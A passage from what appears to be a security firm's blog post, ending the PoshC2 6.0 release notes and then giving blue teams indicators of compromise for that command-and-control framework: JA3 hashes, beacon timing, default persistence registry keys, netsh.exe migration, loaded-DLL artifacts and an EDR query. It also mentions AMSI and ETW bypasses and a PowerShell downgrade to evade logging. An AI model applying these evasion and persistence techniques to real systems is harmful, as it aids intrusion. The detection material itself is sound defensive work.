This allows operators to reliably track specifically what communications channel and options are being used throughout and engagement.

Report Generation

Finally, report generation has also been streamlined and the generate-csvs command only generates the quick CSV reports for operators as opposed to the full report set.

The URLs and new Opsec Events tables have also been added to the report generation.

Full Changelog

A large number of other updates and fixes have been added in this version and merged to master, some of which are briefly summarised below. For updates and tips check out @nettitude_labs@benpturner, @m0rv4i and @b4ggio-su on Twitter.

  • Update Help and auto-generate autocompletion
  • README and readthedocs documentation update
  • Add LockLess (https://github.com/GhostPack/Lockless) for handling locked files
  • Fix “Module Loaded Successfully” message regardless of success
  • Change date format to yyyy-mm-dd
  • Shellcode update
  • Add generate-csvs command
  • Payloads cleanup and refactoring
  • Payloads extendability
  • Automatically compile *.dll.c and *.c files in payload-templates
  • Add GitHub actions for build Docker images for Docker Hub and GitHub packages
  • Improve Daisy payload creation
  • Added ETW patching to shellcode
  • Added AMSI bypass to shellcode
  • Added killdate parsing on set-killdate
  • Improve exception handling
  • Pull out common DB code
  • Remove unused Sounds code & config
  • Add opsec events for manual event logging
  • Keep C2 messages for reporting
  • Refactor projects
  • Improve scripts and script reliability
  • Add options to scripts to specify git branch or docker tag
  • Fix dropper.cs key potentially containing / character (thanks to @Flangvik)
  • Fix missing screenshot.dll
  • Add donut shellcode generation
  • Add custom hosted-files
  • Add PowerStatusTracker (thanks to @rbmaslen)
  • C2Server refactoring
  • Added Comms failover and rotation
  • Added run-exe-background for background tasks
  • Add PBindSharp Implant & payloads
  • Removed unused history table
  • Added start of database model for code cleanliness
  • Auto determine offset for payload patching
  • Migrate from requirements.txt to Pipfile
  • Merged get-system and install-persistence in PowerShell implant
  • Consolidate and clean up invoke-* payload commands
  • Link Implants to full URL info using URLIDs
  • Fix infinite loop in PowerShell PBind (thanks to @0x413x4)
  • Misc fixes and refactoring
  • Add SharpAppLocker from @Flangvik (thanks to Tom MacDonald @BaffledJimmy)
  • Add SharpEDRChecker from Ross Bingham @PwnDexter
  • Fix Docker shared volumes and install on Macs
  • Add Ansible task file for building PoshC2 (thanks to @yg-ht, @BaffledJimmy, @benpturner)
  • Remove unhook-amsi command (as this was flagged by AMSI) and bypass now included in shellcode

Detecting PoshC2 – Indicators of Compromise

As a counterpart to the release of PoshC2 version 6.0 we are providing a list of some of its Indicators of Compromise (IoCs), particularly as used out-of-the-box, as well as some other effective methods for detecting it in your environment.

We also introduce the new PoshC2 Detections GitHub repository at https://github.com/nettitude/PoshC2_IOCs that will be continually updated as development continues, in order to assist blue teams with detecting PoshC2, particularly when used by less sophisticated attackers that do not alter or configure it to change the default IoCs. We encourage the community to contribute to and help update and improve this repository.

It is worth noting that PoshC2 is open source, so while these are IoCs for PoshC2 if used it its default state, ultimately it can be altered either through configuration or by changing the source code itself. The default configuration is subject to change, however where possible the location of that value is pointed out to the reader in order to allow these values to be monitored and updated, in addition to providing the GitHub repository.

Communications

One way to detect PoshC2 is to focus on the communications. Compromised hosts have to communicate with the C2 server somehow in order to pick up tasks and return task output. This is unavoidable and PoshC2 can currently only do this through the use of HTTP(S) requests.

That isn’t to say this this makes it easy to detect; a huge amount of HTTP traffic is present in most environments and the flexibility of the protocol allows for traffic to be hidden and routed through legitimate websites using techniques such as Domain Fronting and reverse proxies.

An example of HTTP comms when domain fronting.

An example of HTTP comms when domain fronting.

Something very helpful for catching C2 communications is SSL Inspection. By being able to inspect SSL traffic leaving the perimeter, the contents of that traffic can be checked and statistics acquired for detecting C2 communications. Without this, network defenders are largely blind, particularly against domain fronted communications which travel via legitimate third-party websites.

If SSL Inspection is implemented then the HTTP traffic can be viewed, and while PoshC2 encrypts the contents of the HTTP bodies, the HTTP URLs and headers can still be viewed.

URLs

PoshC2 has two different ways of generating URLs to use for communications. Operators can either use a static list of URLs or provide a wordlist from which random URLs will be generated, and these files are stored at resources/urls.txt and resources/wordlist.txt respectively, with the static URL list being the default option. These URLs are then loaded into the database when the project is first created, and a random URL is chosen by each implant each time it beacons. The default URL list is below:

While these URLs were originally copied from legitimate requests, if you see several of them being repeated to a site, particularly if they do not seem relevant to that site and if the response does not make sense, then it could be PoshC2 beacon traffic.

HTTP Responses

PoshC2 also has static HTML responses that it responds with. The default is six HTTP 200 responses and one 404 response. These are stored in files at resources/responses/ and also loaded into the database when the server is first created. The server responds with a random 200 response to POST requests that do not error or require a specific response, and with the single 404 response to all unexpected URLs or when the C2 server errors. Other responses return context relevant data, such as tasks, implant code and so on.

This static HTML file then at resources/responses/404_response.html is an IoC and if returned from a webserver that you are investigating is suggestive of PoshC2. Similarly, the 200_response* files in the same directory are IoCs if returned by POST requests.

Note however, that it is recommended that operators change these files before creating a PoshC2 project, as is the use of a C2 proxy, so as with the other indicators the absence of this particular response is not unexpected for a PoshC2 installation.

SSL Certificate

PoshC2 by default creates a self-signed certificate for its HTTP server, the values for which are stored in poshc2/server/Config.py file. These values are not in the ‘normal’ configuration file config.yml and are less documented and are therefore harder to change.

An experienced operator will not expose their C2 server to the internet, but will instead use a proxy server with a valid certificate and filter firewall traffic to the C2 server that is not from that proxy, however if these steps are not taken and a certificate with the below values is presented then it is another strong indicator that PoshC2 is in use, likely by less sophisticated adversaries.

The issuer data can be viewed using Chrome and the default values suggest this is a PoshC2 server.

The issuer data can be viewed using Chrome and the default values suggest this is a PoshC2 server.

JA3 Signatures

Another method for signaturing C2 traffic without SSL Inspection is to fingerprint the Client Hello packet that initialises the TCP connection. The specific bytes that make up the packet are dependent upon the type of connection being formed and the underlying packages and methods used to do so.

As these packets are sent before encryption has been established they are cleartext and can be intercepted and read. It turns out that the packet contents are quite unique and can be fingerprinted. Salesforce have an excellent blog post on JA3 fingerprinting, but essentially the details are extracted from the packets that make up this TCP handshake and hashed to create a quick and easy signature, that can be used to identify not only that PoshC2 is in use, but also the specific implant type.

The current Windows 10 PoshC2 signatures are below:

PowerShell: c12f54a3f91dc7bafd92cb59fe009a35

Sharp: fc54e0d16d9764783542f0146a98b300

JA3 fingerprinting has been incorporated into security products such as Splunk and Darktrace to provide quick and easy identification of C2 traffic, and can be utilised with these fingerprints. These fingerprints are available and will be maintained in the PoshC2 Detections GitHub repository.

Telemetry

Another mechanism for detecting C2 traffic, with or without SSL Inspection, is through the use of telemetry.

PoshC2’s default values for beacon time and jitter in the config.yml file are 5 seconds and a 20% jitter, as can be seen below, which is both a fast beacon rate and a small jitter, making it relatively easy to detect using this method.

With these values the implants are going to beacon every 4-6 seconds by default, with an average of 5 seconds.

After capturing some traffic, filtering by the C2 server host and only checking TLS Client Hello packets, we can see that the TLS connection is created roughly every five seconds, confirming what we expect.

We can see the difference between each session initialisation is between 4 and 6 seconds.

We can see the difference between each session initialisation is between 4 and 6 seconds.

By exploring this small sample of data, we can determine that the average time between the requests is 5.05 seconds, with a standard deviation of 0.81 or 16%, close to the 5 second beacon with the 20% jitter we expect from PoshC2’s defaults.

Security products that can provide telemetry data, e.g. Splunk can be used to detect C2 traffic in this way by checking for repetitive beacons at a relatively fixed frequency, whether it’s at the above defaults for PoshC2 or at any frequency, given that it is configurable.

PowerShell Implant

PoshC2 has three implant types; PowerShell, C#, and Python, with the latter being a lightweight implant type mostly intended for compromising *nix hosts.

The PowerShell Implant runs by loading System.Management.Automation.dll, the engine behind PowerShell.exe, into the desired process and executing PowerShell commands directly using this DLL.

The PowerShell implant supports full PowerShell execution from any process (here netsh.exe) by loading System.Management.Automation.dll.

The PowerShell implant supports full PowerShell execution from any process (here netsh.exe) by loading System.Management.Automation.dll.

While this does not utilise PowerShell.exe, bypassing many restrictions and controls, it is still subject to PowerShell specific constraints such as Constrained Language mode and ScriptBlock logging. The latter, in particular, can be used to detect PoshC2 and any other malicious PowerShell commands, whether via PowerShell.exe or otherwise.

Note, however, that ScriptBlock logging was only enabled in PowerShell v5.0 and above, so if PowerShell v2.0 is available on the target then a downgrade attack can be performed and PowerShell 2.0 used, bypassing Constrained Language mode, ScriptBlock logging, AMSI and other controls added in v5.0.

PS Logging

Enabling ScriptBlock logging and Transcript Logging for PowerShell allows logging of processes running PowerShell commands.

There are multiple IoCs here, not least that the Host Application is not PowerShell.exe, as should be expected, but instead netsh.exe.

PowerShell transcripts provide valuable information. Alerting on Host Applications that are not PowerShell.exe is a good way to find PowerShell implants from any C2 framework.

PowerShell transcripts provide valuable information. Alerting on Host Applications that are not PowerShell.exe is a good way to find PowerShell implants from any C2 framework.

Similarly in the Event Viewer for ScriptBlock logging:

PowerShell ScriptBlock logging can reveal a wealth of information, here including the beacon URLs for PoshC2 and again netsh.exe as a host process.

PowerShell ScriptBlock logging can reveal a wealth of information, here including the beacon URLs for PoshC2 and again netsh.exe as a host process.

This also includes the ‘command line’ of the ScriptBlock being executed, which includes the beacon URLs from which a random element is being chosen, therefore listing all the C2 URLs that are in use by this implant.

Aside from the wealth of information ScriptBlock logging provides for any threat hunter, an event command line specific to PoshC2 that can be used to identify the PowerShell implant is below:

The $ServerClean variable is specific to PoshC2 and a clear IoC.

The $ServerClean variable is specific to PoshC2 and a clear IoC.

CommandLine= $ServerClean = Get-Random $ServerURLS

This ScriptBlock is part of the beaconing process and will be repeated frequently in the Event Viewer making it easy to identify.

System.Management.Automation.dll

As mentioned earlier, the PowerShell implant does not function by invoking PowerShell.exe, but instead by loading System.Management.Automation.dll into the implant process.

This means that this is an IoC, and if we find a process that should not have this DLL loaded, particularly if it is an unmanaged code binary (so not .NET) then it is highly likely that this is a process that has been injected into by a PowerShell implant, PoshC2 or otherwise.

System.Management.Automation.dll, the engine behind PowerShell, is a .NET library.

System.Management.Automation.dll, the engine behind PowerShell, is a .NET library.

netsh.exe is a C++ binary and should not be loading .NET libraries.

netsh.exe is a C++ binary and should not be loading .NET libraries.

We can see this DLL loaded into an implant process using Process Hacker:

System.Management.Automation.dll loaded into netsh.exe.

System.Management.Automation.dll loaded into netsh.exe.

Similarly we can view the .NET Assemblies in the process:

We can view the .NET Assemblies in the netsh.exe process and see PowerShell is loaded.

We can view the .NET Assemblies in the netsh.exe process and see PowerShell is loaded.

This tab shouldn’t even be present for a genuine netsh.exe process as it is unmanaged code!

The module is not loaded in a genuine netsh process and the .NET tabs are not available.

The module is not loaded in a genuine netsh process and the .NET tabs are not available.

An operator can be smarter about their migration by injecting into .NET processes, however it is still unlikely that a legitimate process (that isn’t PowerShell.exe) would load System.Management.Automation.dll, so this is a great IoC to look out for in your environment.

This can be implemented at scale by searching for loaded modules in an EDR product, for example in CarbonBlack with a query of:

modload:System.Management.Automation* AND -process_name:powershell.exe AND process_name:powershell_ise.exe

This searches for process with System.Management.Automation.dll or System.Management.Automation.ni.dll (the Native Image version) loaded into a process when that process is not PowerShell.exe or PowerShell_ISE.exe. Other legitimate exclusions may need to be added for your particular environment.

Here we can see various processes that have loaded System.Management.Automation.dll into memory that are likely implants.

Here we can see various processes that have loaded System.Management.Automation.dll into memory that are likely implants.

C# Implant

The C# or Sharp implant is PoshC2’s ‘next gen’ implant, written (unsurprisingly) in C#. The key difference from a detection perspective is that this implant does not require loading System.Management.Automation.dll in order to function. Most of the functionality of the C# implant is custom-written and while it can load System.Management.Automation.dll in order to execute PowerShell, this is an operator decision and is by no means necessary.

A similar process to the above can be applied, but is a little harder to implement. .NET processes load the mscoree.dll library which is the core library behind the .NET CLR (Command Language Runtime), so again any unmanaged code processes that are loading this library could have been migrated into. The issue here is finding these processes, as it’s not as simple as searching for just ‘module loaded and process name is not powershell.exe’.

A blacklist can be created of common target processes that are unmanaged, always available and should not be loading the .NET runtime, and these can be monitored, as well as noting this during manual triage.

Implant loads mscoree.dll if it is not already present in the process – another IoC if the process is supposed to be unmanaged.

A C# implant loads mscoree.dll if it is not already present in the process – another IoC if the process is supposed to be unmanaged.

Note that the PowerShell implant will also load this library as it is also a .NET process, however the presence of System.Management.Automation.dll marks it as an implant that can run PowerShell.

The C# implant has the ability to load compiled binaries into memory over C2 and run them, which is extremely powerful. There are indicators of this however, as a new virtual runspace is created for each module and their namespace is listed in the AppDomain to which they are loaded.

Viewing the .NET Assemblies in Process Explorer or Process Hacker for example then reveals what modules have been run.

In the C# implant loaded modules have their namespace visible in the AppDomain, making it clear what has been loaded into the implant.

In the C# implant loaded modules have their namespace visible in the AppDomain, making it clear what has been loaded into the implant.

Above we can see the Core and dropper_cs modules that make up the core functionality of the C# implant, as well as some native modules from Microsoft that are required to run. These modules will always be present in the PoshC2 C# implant and are a clear IoC. We also see Seatbelt and SharpUp, two common C# offensive modules from SpectreOps, and we can surmise that they have been on the target.

In General

Migration

We have used netsh.exe as the example implant process in this post and that is for a good reason. The default migration process for PoshC2 in the C# and PowerShell implants is C:\Windows\System32\netsh.exe, so when the migrate or inject-shellcode commands are used and a specific process ID or name is not set, then a new netsh.exe process is spawned and migrated into.

This itself is a common IoC for PoshC2, as netsh.exe is not typically frequently run in environments, and certainly not on most end user’s hosts. Therefore, if there is a sudden uptick in the number of these processes being run in the environment or if several are running on a host then it could be worth investigating.

Persistence

PoshC2 has three quick persistence commands available to the PowerShell implant. Each of these installs a PowerShell.exe one liner payload to the registry in the key at HKCU\Software\Microsoft\Windows\CurrentVersion\themes with a name Wallpaper777, Wallpaper555 or Wallpaper666, depending on the command being run.

This payload is then triggered by either:

  • A registry key at HKCU\Software\Microsoft\Windows\CurrentVersion\run with the name IEUpdate
  • A Scheduled Task, also with the name IEUpdate
  • A shortcut file placed at %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\IEUpdate.lnk

All of these can be alerted upon and used to determine that the adversary using PoshC2, in addition to alerting on the invocation of PowerShell.exe with encoded parameters, and so on.

Binary payloads

Some of the more common payloads that are dropped on targets are the PoshC2 executables and DLLs that can be run using rundll32.exe.

For the DLLs, there are different versions for PowerShell and Sharp implants across versions 2 and 4 of PowerShell and x86 and x64 bit architectures, however all the DLLs have a single entry-point common to all: VoidFunc.

All the DLL payloads have the same single entry point of VoidFunc.

All the DLL payloads have the same single entry point of VoidFunc.

This entry-point is hard-coded in PoshC2 and cannot be changed without hacking the compiled binary itself.

For the common executable and DLL payloads we’ve also added Yara rules for detecting them. These are based on signaturable parts of the binaries that will not change across different installs of PoshC2, for example with different comms options. These are also available in the new PoshC2 Detections GitHub repository.

In Summary

We’ve looked at a few different detections for catching PoshC2 when used out-of-the-box. Using these in your environment will help protect against the less sophisticated users of PoshC2 in addition to further understanding how the tool works.

Any new detections or amendments can be added to the https://github.com/nettitude/PoshC2_IOCs repository and we encourage the community to add their own detections or rules and configurations for other security tools to help build a centralised data store for everyone.